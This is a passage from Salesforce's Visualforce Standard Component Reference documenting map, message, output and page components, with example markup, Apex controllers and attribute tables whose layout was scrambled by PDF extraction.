<apex:outputText >{! contact.Name } </apex:outputText >
</apex:outputPanel >
<apex:outputPanel layout= "block" >
<apex:outputText >
{!contact.MailingStreet},{!contact.MailingCity},{!contact.MailingState}
</apex:outputText >
</apex:outputPanel >
</apex:mapInfoWindow >
</apex:mapMarker >
</apex:repeat >
</apex:map >
</apex:page >
Attributes
Attribute Name Attribute Type
id maxWidth
String
Integer
Description
An identifier that allows other components in the page to reference this component.
Maximum width of the info window, regardless of content's width.
Required?
API
Version
Access
34.0
global
34.0
458
Standard Component Reference apex:mapMarker
Attribute Name Attribute Type
rendered
Boolean
Description
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true
.
Required?
API
Version
Access
34.0
apex:mapMarker
Defines a marker to be displayed at a location on an
<apex:map >
.
Note: This component must be enclosed within an
<apex:map >
component. You can add up to 100
<apex:mapMarker > components to a single map.
Map of Contacts for an Account
<apex:page standardController= "Account" >
<!-- This page must be accessed with an Account Id in the URL. For example: https://<salesforceInstance>/apex/NearbyContacts?id=001D000000JRBet -->
<apex:pageBlock >
<apex:pageBlockSection title= "Contacts For {! Account.Name }" >
<apex:dataList value= "{! Account.Contacts }" var= "contact" >
<apex:outputText value= "{! contact.Name }" />
</apex:dataList >
</apex:pageBlockSection >
</apex:pageBlock >
<apex:map width= "600px" height= "400px" mapType= "roadmap" center= "{!Account.BillingStreet},{!Account.BillingCity},{!Account.BillingState}" >
<apex:repeat value= "{! Account.Contacts }" var= "contact" >
<apex:mapMarker title= "{! contact.Name }" position= "{!contact.MailingStreet},{!contact.MailingCity},{!contact.MailingState}"
/>
</apex:repeat >
</apex:map >
</apex:page >
459
Standard Component Reference apex:message
Attributes
Attribute Name Attribute Type
icon id position
String
String
Object
Description
An absolute or fully qualified URL of the icon to be displayed for this marker. If you use images from a static resource, use the URLFOR() function to obtain the image URL.
Required?
API
Version
Access
34.0
32.0
global An identifier that allows other components in the page to reference this component.
Specifies the location of the marker. There are several ways to define the location:
•
A string representing an address. For example, "1 Market
Street, San Francisco, CA". The address is automatically geocoded to determine its actual latitude and longitude.
•
A string representing a JSON object with latitude and longitude
attributes that specify location coordinates. For example, "{latitude: 37.794, longitude:
-122.395}".
•
An Apex map object of type
Map <String,
Double>
, with latitude
and longitude
keys to specify location coordinates.
Note: You can have up to 10 geocoded address lookups per map. Lookups for both the center
attribute of the
<apex:map >
component and the position
attribute of the
<apex:mapMarker >
component count against this limit. To display more markers, provide position values that don't require geocoding. Locations that exceed the geocoding limit are skipped.
Yes 32.0
rendered title
Boolean
String
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true
.
Text to display when the user's cursor moves over the marker.
That is, when the marker's mouseover event is triggered.
32.0
32.0
apex:message
A message for a specific component, such as a warning or error. If an
<apex:message >
or
<apex:messages >
component is not included in a page, most warning and error messages are only shown in the debug log.
460
Standard Component Reference apex:message
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Page: -->
<apex:page controller= "MyController" tabStyle= "Account" >
<style >
.locationError { color: blue; font-weight: strong;}
.employeeError { color: green; font-weight: strong;}
</style >
<apex:form >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
This is your new page for the {!name} controller.
<br/ >
You are viewing the {!account.name} account.
<p >Number of Locations: <apex:inputField value= "{!account.NumberofLocations__c}" id= "Location_validation" />
(Enter an alphabetic character here, then click Save to see what happens.) </p >
<p >Number of Employees: <apex:inputField value= "{!account.NumberOfEmployees}" id= "Employee_validation" />
(Enter an alphabetic character here, then click Save to see what happens.) </p >
<p />
<apex:commandButton action= "{!save}" value= "Save" />
<p />
<apex:message for= "Location_validation" styleClass= "locationError" /> <p />
<apex:message for= "Employee_validation" styleClass= "employeeError" /> <p />
</apex:pageBlock >
</apex:form >
</apex:page >
/*** Controller ***/ public class MyController {
Account account; public PageReference save() { try { update account;
} catch (DmlException ex){
ApexPages.addMessages(ex);
} return null ;
} public String getName() { return 'MyController' ;
}
461
Standard Component Reference apex:messages
} public Account getAccount() { if (account == null ) account = [select id, name, numberofemployees, numberoflocations__c from Account where id = :ApexPages.currentPage().getParameters().get( 'id' )]; return account;
}
Attributes
Attribute Name Attribute Type
dir for id lang rendered style styleClass title
String
String
String
String
Boolean
String
String
String
Description
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
Required?
API
Version
Access
10.0
global
10.0
global The ID of the component with which the message should be associated.
An identifier that allows the message component to be referenced by other components in the page.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
10.0
10.0
global global
10.0
global A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The style used to display the message, used primarily for adding inline CSS styles.
10.0
global
The style class used to display the message, used primarily to designate which CSS styles are applied when using an external
CSS stylesheet.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
10.0
10.0
global global
apex:messages
All messages that were generated for all components on the current page. If an
<apex:message >
or
<apex:messages > component is not included in a page, most warning and error messages are only shown in the debug log.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<ul >
tag. (Each message is contained in a list item.)
462
Standard Component Reference apex:messages
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Page: -->
<apex:page controller= "MyController" tabStyle= "Account" >
<apex:messages />
<apex:form >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
This is your new page for the {!name} controller.
<br/ >
You are viewing the {!account.name} account.
<p >Number of Locations: <apex:inputField value= "{!account.NumberofLocations__c}" id= "Location_validation" />
(Enter an alphabetic character here, then click save to see what happens.) </p >
<p >Number of Employees: <apex:inputField value= "{!account.NumberOfEmployees}" id= "Employee_validation" />
(Enter an alphabetic character here, then click save to see what happens.) </p >
<p />
<apex:commandButton action= "{!save}" value= "Save" />
<p />
</apex:pageBlock >
</apex:form >
</apex:page >
/*** Controller ***/ public class MyController {
Account account; public PageReference save() { try { update account;
} catch (DmlException ex){
ApexPages.addMessages(ex);
} return null ;
} public String getName() { return 'MyController' ;
} public Account getAccount() { if (account == null ) account = [select id, name, numberofemployees, numberoflocations__c from Account where id = :ApexPages.currentPage().getParameters().get( 'id' )];
463
Standard Component Reference apex:milestoneTracker return account;
}
}
Attributes
Attribute Name Attribute Type
dir globalOnly id lang layout rendered style styleClass title
String
Boolean
String
String
String
Boolean
String
String
String
Description
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
A Boolean value that specifies whether only messages that are not associated with any client ID are displayed. If not specified, this value defaults to false.
Required?
API
Version
Access
10.0
global
10.0
global
10.0
global An identifier that allows the message component to be referenced by other components in the page.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The type of layout used to display the error messages. Possible values for this attribute include "list" or "table". If not specified, this value defaults to "list".
10.0
10.0
global global
10.0
global A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The style used to display the messages, used primarily for adding inline CSS styles.
The style class used to display the messages, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
10.0
10.0
10.0
global global global
apex:milestoneTracker
Displays the milestone tracker.
464
Standard Component Reference
This example displays the milestone tracker.
<apex:page standardController= "Case" showHeader= "true" >
<apex:milestoneTracker entityId= "{!case.id}" />
</apex:page > apex:outputField
Attributes
Attribute Name Attribute Type
entityId id rendered
String
String
Boolean
Description
Entity ID of the record for which to display the milestones.
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
Yes 29.0
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
apex:outputField
A read-only display of a label and value for a field on a Salesforce object. An
<apex:outputField >
component respects the attributes of the associated field, including how it should be displayed to the user. For example, if the specified
<apex:outputField > component is a currency field, the appropriate currency symbol is displayed. Likewise, if the
<apex:outputField >
component is a lookup field or URL, the value of the field is displayed as a link.
Note that if custom help is defined for the field in Setup, the field must be a child of an
<apex:pageBlock >
or
<apex:pageBlockSectionItem >
, and the Salesforce page header must be displayed for the custom help to appear on your
Visualforce page. To override the display of custom help, use the
<apex:outputField >
in the body of an
<apex:pageBlockSectionItem >
.
The Rich Text Area data type can only be used with this component on pages running Salesforce.com API versions greater than 18.0.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated container
<span >
tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid opportunity record in the URL.
For example, if 001D000000IRt53 is the opportunity ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController= "Opportunity" tabStyle= "Opportunity" >
<apex:pageBlock >
465
Standard Component Reference apex:outputField
<apex:pageBlockSection title= "Opportunity Information" >
<apex:outputField value= "{!opportunity.name}" />
<apex:outputField value= "{!opportunity.amount}" />
<apex:outputField value= "{!opportunity.closeDate}" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:page >
Attributes
Attribute Name Attribute Type
dir id label lang rendered style styleClass title value
String
String
String
String
Boolean
String
String
String
Object
Description
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
Required?
API
Version
Access
10.0
global
10.0
global An identifier that allows the output field component to be referenced by other components in the page.
A string value to be used as component label.
23.0
10.0
global The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
10.0
global
10.0
global The style used to display the output field component, used primarily for adding inline CSS styles. This attribute may not work for all values. If your text requires a class name, use a wrapping span tag.
The style class used to display the output field component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. This attribute may not work for all values. If your text requires a class name, use a wrapping span tag.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
A merge field that references the Salesforce field that is associated with this output field. For example, if you want to display an output field for an account's name field, use value="{!account.name}". You cannot associate this output field with a currency merge field if that field value is calculated using dated exchange rates.
10.0
10.0
10.0
global global global
466
Standard Component Reference apex:outputLabel
apex:outputLabel
A label for an input or output field. Use this component to provide a label for a controller method that does not correspond to a field on a Salesforce object.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<label >
tag.
Example
<apex:outputLabel value= "Checkbox" for= "theCheckbox" />
<apex:inputCheckbox value= "{!inputValue}" id= "theCheckbox" />
The example above renders the following HTML:
<label for= "theCheckbox" >Checkbox </label >
<input id= "theCheckbox" type= "checkbox" name= "theCheckbox" />
Attributes
Attribute Name Attribute Type
accesskey dir escape for id lang onblur
String
String
Boolean
String
String
String
String
Description
The keyboard access key that puts the label and its associated field in focus.
Required?
API
Version
Access
10.0
global
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
A Boolean value that specifies whether sensitive HTML and
XML characters should be escaped in the HTML output generated by this component. If not specified, this value defaults to true. For example, the only way to add a ">" symbol to a label is by using the symbol's character escape sequence and setting escape="false". If you do not specify escape="false", the character escape sequence displays as written.
The ID of the component with which the label should be associated. When the label is in focus, the component specified by this attribute is also in focus.
10.0
10.0
10.0
global global global
An identifier that allows the label component to be referenced by other components in the page.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the label.
10.0
10.0
10.0
global global global
467
Standard Component Reference apex:outputLabel
Attribute Name Attribute Type
onclick ondblclick onfocus onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup rendered style styleClass tabindex title
String
String
String
String
String
String
String
String
String
String
String
Boolean
String
String
String
String
Description
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the label.
Required?
API
Version
Access
10.0
global
10.0
global The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the label twice.
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the label.
10.0
global
10.0
global The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
10.0
10.0
10.0
global global global
10.0
global The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the label.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the label.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The style used to display the label component, used primarily for adding inline CSS styles.
The style class used to display the label component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The order in which this label is selected compared to other page components when a user presses the Tab key repeatedly.
This value must be an integer between 0 and 32767, with component 0 being the first component that is selected when a user presses the Tab key.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global
468
Standard Component Reference
Attribute Name Attribute Type Description
value
Object The text displayed as the label.
apex:outputLink
Required?
API
Version
Access
10.0
global
apex:outputLink
A link to a URL. This component is rendered in HTML as an anchor tag with an href
attribute. Like its HTML equivalent, the body of an
<apex:outputLink >
is the text or image that displays as the link. To add query string parameters to a link, use nested
<apex:param >
components.
See also:
<apex:commandLink >
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<a >
tag.
Example
<apex:outputLink value= "https://www.salesforce.com" id= "theLink" >www.salesforce.com
</apex:outputLink >
The example above renders the following HTML:
<a id= "theLink" name= "theLink" href= "https://www.salesforce.com" >www.salesforce.com
</a >
Attributes
Attribute Name Attribute Type
accesskey charset coords
String
String
String
Description
The keyboard access key that puts the link in focus. When the link is in focus, pressing the Enter key is equivalent to clicking the link.
Required?
API
Version
Access
10.0
global
10.0
global The character set used to encode the specified URL. If not specified, this value defaults to ISO-8859-1.
The position and shape of the hot spot on the screen used for the output link (for use in client-side image maps). The number and order of comma-separated values depends on the shape being defined. For example, to define a rectangle, use coords="left-x, top-y, right-x, bottom-y". To define a circle, use coords="center-x, center-y, radius". To define a polygon, use coords="x1, y1, x2, y2, ..., xN, yN", where x1 = nN and y1
= yN. Coordinates can be expressed in pixels or percentages, and represent the distance from the top-left corner of the image that is mapped. See also the shape attribute.
10.0
global
469
Standard Component Reference apex:outputLink
Attribute Name Attribute Type
dir disabled hreflang id lang onblur onclick ondblclick onfocus onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover
String
Boolean
String
String
String
String
String
String
String
String
String
String
String
String
String
String
Description
The direction in which the generated HTML component is read. Possible values include "RTL" (right to left) or "LTR" (left to right).
Required?
API
Version
Access
10.0
global
10.0
global A Boolean value that specifies whether this link is displayed in a disabled state. If set to true, the field appears disabled because an HTML span tag is used in place of the normal anchor tag. If not specified, this value defaults to false.
The base language for the resource referenced by this command link, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
10.0
global
10.0
global An identifier that allows the outputLink component to be referenced by other components in the page.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the output link.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the output link.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the output link twice.
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the output link.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the output link.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the output link.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global global global global global
470
Standard Component Reference apex:outputLink
Attribute Name Attribute Type
onmouseup rel rendered rev shape style styleClass tabindex target title type value
String
String
Boolean
String
String
String
String
String
String
String
String
Object
Description
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
Required?
API
Version
Access
10.0
global
The relationship from the current document to the URL specified by this command link. The value of this attribute is a space-separated list of link types. For more information on this attribute, see the W3C specifications .
10.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The reverse link from the URL specified by this command link to the current document. The value of this attribute is a space-separated list of link types. For more information on this attribute, see the W3C specifications .
The shape of the hot spot in client-side image maps. Valid values are default, circle, rect, and poly. See also the coords attribute.
10.0
10.0
10.0
global global global
10.0
global The style used to display the output link component, used primarily for adding inline CSS styles.
The style class used to display the output link component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The order in which this link is selected compared to other page components when a user presses the Tab key repeatedly.
This value must be an integer between 0 and 32767, with component 0 being the first component that is selected when a user presses the Tab key.
The name of the frame where the resource retrieved by this command link is displayed. Possible values for this attribute include "_blank", "_parent", "_self", and "_top". You can also specify your own target names by assigning a value to the name attribute of a desired destination.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
The MIME content type of the resource designated by this output link. Possible values for this attribute include
"text/html", "image/png", "image/gif", "video/mpeg",
"text/css", and "audio/basic". For more information, including a complete list of possible values, see the W3C specifications .
The URL used for the output link.
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global
471
Standard Component Reference apex:outputPanel
apex:outputPanel
A set of content that is grouped together, rendered with an HTML
<span >
tag,
<div >
tag, or neither. Use an
<apex:outputPanel >
to group components together for AJAX refreshes.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated container tag,
<div >
or
<span >
, depending on the value of the layout
attribute.
Span Example
<!-- Spans do not add any additional formatting to the body of the outputPanel.
-->
<apex:outputPanel id= "thePanel" >My span </apex:outputPanel >
The example above renders the following HTML:
<span id= "thePanel" >My span </span >
Div Example
<!-- Divs place the body of the outputPanel within the equivalent of an HTML paragraph tag.
-->
<apex:outputPanel id= "thePanel" layout= "block" >My div </apex:outputPanel >
The example above renders the following HTML:
<div id= "thePanel" >My div </div >
Attributes
Attribute Name Attribute Type
dir id lang layout
String
String
String
String
Description
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
An identifier that allows the outputPanel component to be referenced by other components in the page.
Required?
API
Version
Access
10.0
global
10.0
global
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
10.0
global
The layout style for the panel. Possible values include "block"
(which generates an HTML div tag), "inline" (which generates an HTML span tag), and "none" (which does not generate an
HTML tag). If not specified, this value defaults to "inline".
Note: If layout is set to "none", for each child element with the rendered attribute set to "false", the outputPanel generates a span tag with the ID of the child, and a style
10.0
global
472
Standard Component Reference apex:outputPanel
Attribute Name Attribute Type
onclick ondblclick onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup rendered style styleClass title
String
String
String
String
String
String
String
String
String
String
Boolean
String
String
String
Description
attribute set to "display:none". While the content isn't visible,
JavaScript can still access the elements through the DOM ID, making it possible to update the child elements.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the output panel.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the output panel twice.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the output panel.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the output panel.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The style used to display the outputPanel component, used primarily for adding inline CSS styles.
The style class used to display the outputPanel component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet..
The text to display as a tooltip when the user's mouse pointer hovers over this component.
Required?
API
Version
Access
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global global global global global global global
473
Standard Component Reference apex:outputText
apex:outputText
Displays text on a Visualforce page. You can customize the appearance of
<apex:outputText >
using CSS styles, in which case the generated text is wrapped in an HTML
<span >
tag. You can also escape the rendered text if it contains sensitive HTML and XML characters. This component does take localization into account.
Use with nested param tags to format the text values, where {n} corresponds to the n-th nested param tag. The value
attribute supports the same syntax as the MessageFormat class in Java.
Warning:Encrypted custom fields that are embedded in the
<apex:outputText >
component display in clear text. The
<apex:outputText >
component doesn't respect the View Encrypted Data permission for users. To prevent showing sensitive information to unauthorized users, use the
<apex:outputField >
tag instead.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated container
<span >
tag.
Basic formatting example
<apex:page >
<apex:outputText style= "font-style:italic" value= "This is {0} text with {1}." >
<apex:param value= "my" />
<apex:param value= "arguments" />
</apex:outputText >
</apex:page >
The example above renders the following HTML:
<span id= "theText" style= "font-style:italic" >This is my text with arguments.
</span >
Date formatting example
<apex:page >
<apex:outputText value= "The unformatted time right now is: {!NOW()}" />
<br/ >
<apex:outputText value= "The formatted time right now is:
{0,date,yyyy.MM.dd G 'at' HH:mm:ss z} ">
<apex:param value= "{!NOW()}" />
</apex:outputText >
</apex:page >
The example above renders the following HTML:
The unformatted time right now is: 11/20/2004 3:49 PM
<br />
The formatted time right now is: 2004.11.20 AD at 23:49:02 GMT
Currency formatting example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IeChM is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IeChM
474
Standard Component Reference apex:outputText
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController= "Account" >
It is worth:
<apex:outputText value= "{0, number, 000,000.00}" >
<apex:param value= "{!Account.AnnualRevenue}" />
</apex:outputText >
</apex:page >
The example above renders the following HTML:
It is worth: 500,000,000.00
Attributes
Attribute Name Attribute Type
dir escape id label lang rendered style styleClass title
String
Boolean
String
String
String
Boolean
String
String
String
Description
The direction in which the generated HTML component is read. Possible values include "RTL" (right to left) or "LTR" (left to right).
A Boolean value that specifies whether sensitive HTML and
XML characters should be escaped in the HTML output generated by this component. If you do not specify escape="false", the character escape sequence displays as written. Be aware that setting this value to "false" may be a security risk because it allows arbitrary content, including
JavaScript, that could be used in a malicious manner.
Required?
API
Version
Access
10.0
global
10.0
global
10.0
global An identifier that allows the outputText component to be referenced by other components in the page.
A text value that allows to display a label next to the output text
23.0
10.0
global The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The style used to display the outputText component, used primarily for adding inline CSS styles.
The style class used to display the outputText component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
10.0
10.0
10.0
10.0
global global global global
475
Standard Component Reference apex:page
Attribute Name Attribute Type
value
Object
Description
The text displayed when this component is rendered. This value supports the same syntax as the MessageFormat class in Java. For more information on the MessageFormat class, see http://java.sun.com/j2se/1.4.2/docs/api/java/text/MessageFormat.html.
Required?
API
Version
Access
10.0
global
apex:page
A single Visualforce page. All pages must be wrapped inside a single page component tag.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<html >
tag.
Example
<!-- Page: -->
<apex:page renderAs= "pdf" >
<style > body { font-family: 'Arial Unicode MS' ; } </style >
<h1 >Congratulations </h1 >
<p >This is your new PDF </p >
</apex:page >
Attributes
Attribute Name
action
Attribute Type Description
ApexPages.Action
The action method invoked when this page is requested by the server. Use expression language to reference an action method. For example, action="{!doAction}" references the doAction() method in the controller. If an action is not specified, the page loads as usual. If the action method returns null, the page simply refreshes. This method will be called before the page is rendered and allows you to optionally redirect the user to another page. This action should not be used for initialization.
Required?
API
Version
Access
10.0
global apiVersion double The version of the API used to render and execute the page.
10.0
global applyBodyTag
Boolean A Boolean value that specifies whether or not Visualforce should automatically add a
<body >
tag to the generated
HTML output. Set to false to disable adding the
<body >
tag to the response, for example, when the
<body >
tag is statically set in your markup. If not specified, this value defaults
27.0
476
Standard Component Reference apex:page
Attribute Name Attribute Type
applyHtmlTag cache contentType controller deferLastCommandUntilReady docType
Boolean
Boolean
String
String
Boolean
String
Description
to the value of the applyHtmlTag attribute if it's set, or true, if applyHtmlTag isn't set.
A Boolean value that specifies whether or not Visualforce should automatically add an
<html >
tag to the generated
HTML output. Set to false to disable adding the
<html >
tag to the response, for example, when the
<html >
tag is statically set in your markup. If not specified, this value defaults to true.
A Boolean value that specifies whether the browser should cache this page. If set to true, the browser caches the page.
If not specified, this value defaults to false. For Force.com Sites pages, if this attribute is not specified, this value defaults to true. For details on caching site pages, see "Caching Force.com
Sites Pages" in the Salesforce online help.
The MIME content type used to format the rendered page.
Possible values for this attribute include "text/html",
"image/png", "image/gif", "video/mpeg", "text/css", and
"audio/basic". For more information, including a complete list of possible values, see the W3C specifications .
You can also define the filename of the rendered page by appending a "#", followed by the file name to the MIME type.
For example, "application/vnd.ms-excel#contacts.xls". Note: some browsers will not open the resulting file unless you specify the filename and set the cache attribute on the page to "true".
The name of the custom controller class written in Apex used to control the behavior of this page. This attribute cannot be specified if the standardController attribute is also present.
A Boolean value that specifies whether to prevent premature clicking on command buttons and links. If true, the last click on a button or link will be enqueued and processed when page is ready. This value defaults to false.
The HTML document type definition (DTD), or doctype, that describes the structure of the rendered page. If not specified, this value defaults to "html-4.01-transitional", which results in a doctype of
<!DOCTYPE HTML PUBLIC
"-//W3C//DTD HTML 4.01
Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd" >
.
Possible values for this attribute include "html-4.01-strict",
"xhtml-1.0-transitional", "xhtml-1.1-basic", and "html-5.0", among others.
Required?
API
Version
Access
27.0
10.0
10.0
10.0
26.0
23.0
global global global
477
Standard Component Reference apex:page
Attribute Name Attribute Type
expires extensions id label language manifest name pageStyle readOnly recordSetName recordSetVar
Integer
String
String
String
String
String
String
String
Boolean
String
String
Description
For more information about HTML doctype declarations, see the W3C specifications .
The expiration period for the cache attribute in seconds. If the cache attribute is set to true, but this attribute is not specified, this value defaults to zero. For Force.com Sites pages, if cache is not set to false, this value defaults to 600 seconds. For details on caching site pages, see "Caching
Force.com Sites Pages" in the Salesforce online help.
The name of one or more custom controller extensions written in Apex that add additional logic to this page.
An identifier for the page that allows it to be referenced by other components in the page.
The label that is used to reference the page in Salesforce setup tools.
The language used to display labels that have associated translations in Salesforce. This value overrides the language of the user viewing the page. Possible values for this attribute include any language keys for languages supported by
Salesforce, for example, "en" or "en-US".
Adds a manifest attribute to the generated
<html >
tag, which references a cache manifest file for offline use. Setting a manifest attribute requires also setting docType="html-5.0", and applyHtmlTag to not be set to "false".
The unique name that is used to reference the page in the
Force.com API.
The pageStyle attribute was deprecated in Salesforce API version 16.0 and has no effect on the page.
A Boolean value that enables read-only mode for a Visualforce page. In read-only mode, a page may not execute any DML operations, but the limit on the number of records retrieved is relaxed from 50,000 to 1 million rows. It also increases the number of items in a collection that can be handled by iteration components, from 1,000 to 10,000. If not specified, this value defaults to false.
The recordSetName attribute was deprecated in Salesforce
API version 16.0 and has no effect on the page. Use recordSetVar instead.
This attribute indicates that the page uses a set-oriented standard controller. The value of the attribute indicates the name of the set of records passed to the page. This record
Required?
API
Version
Access
14.0
11.0
10.0
10.0
10.0
27.0
10.0
10.0
23.0
14.0
14.0
global global global global global global
478
Standard Component Reference apex:page
Attribute Name Attribute Type Description
set can be used in expressions to return values for display on the page or to perform actions on the set of records. For example, if your page is using the standard accounts controller, and recordSetVar is set to "accounts", you could create a simple pageBlockTable of account records by doing the following:
<apex:pageBlockTable value= "{!accounts}" var= "a" > <apex:column value= "{!a.name}" /> </apex:pageBlockTable >
Required?
API
Version
Access
renderAs rendered setup showChat
String
Boolean
Boolean
Boolean
The name of any supported content converter. Currently PDF is the only supported content converter. Setting this attribute to "pdf" renders the page as a PDF.
Rendering a Visualforce page as a PDF is intended for pages that are designed and optimized for print. Standard components that aren't easily formatted for print or contain form elements like inputs, buttons, any component that requires JavaScript to be formatted, shouldn't be used. This includes but is not limited to, any component that requires a form element. Verify the format of your rendered page before deploying it.
If the PDF fails to display all the characters, adjust the fonts in your CSS to use a font that supports your needs. For example, add the following style definition to your page's styles: body { font-family: 'Arial Unicode MS' ;
}
Note that the pageBlock and sectionHeader components don't support double-byte fonts when rendered as a PDF.
A Boolean value that specifies whether the page is rendered.
If not specified, this value defaults to true.
A Boolean value that specifies whether the page should use the style of a standard Salesforce setup page. If true, setup styling is used. If not specified, this value defaults to false.
A Boolean value that specifies whether the Chatter Messenger chat widget is included in the page. If true, the chat widget is displayed. If not specified, the value defaults to the
Visualforce Settings selected from Setup in Customize | Chatter
| Chat Settings.
13.0
10.0
10.0
10.0
global global global global
479
Standard Component Reference apex:page
Attribute Name Attribute Type
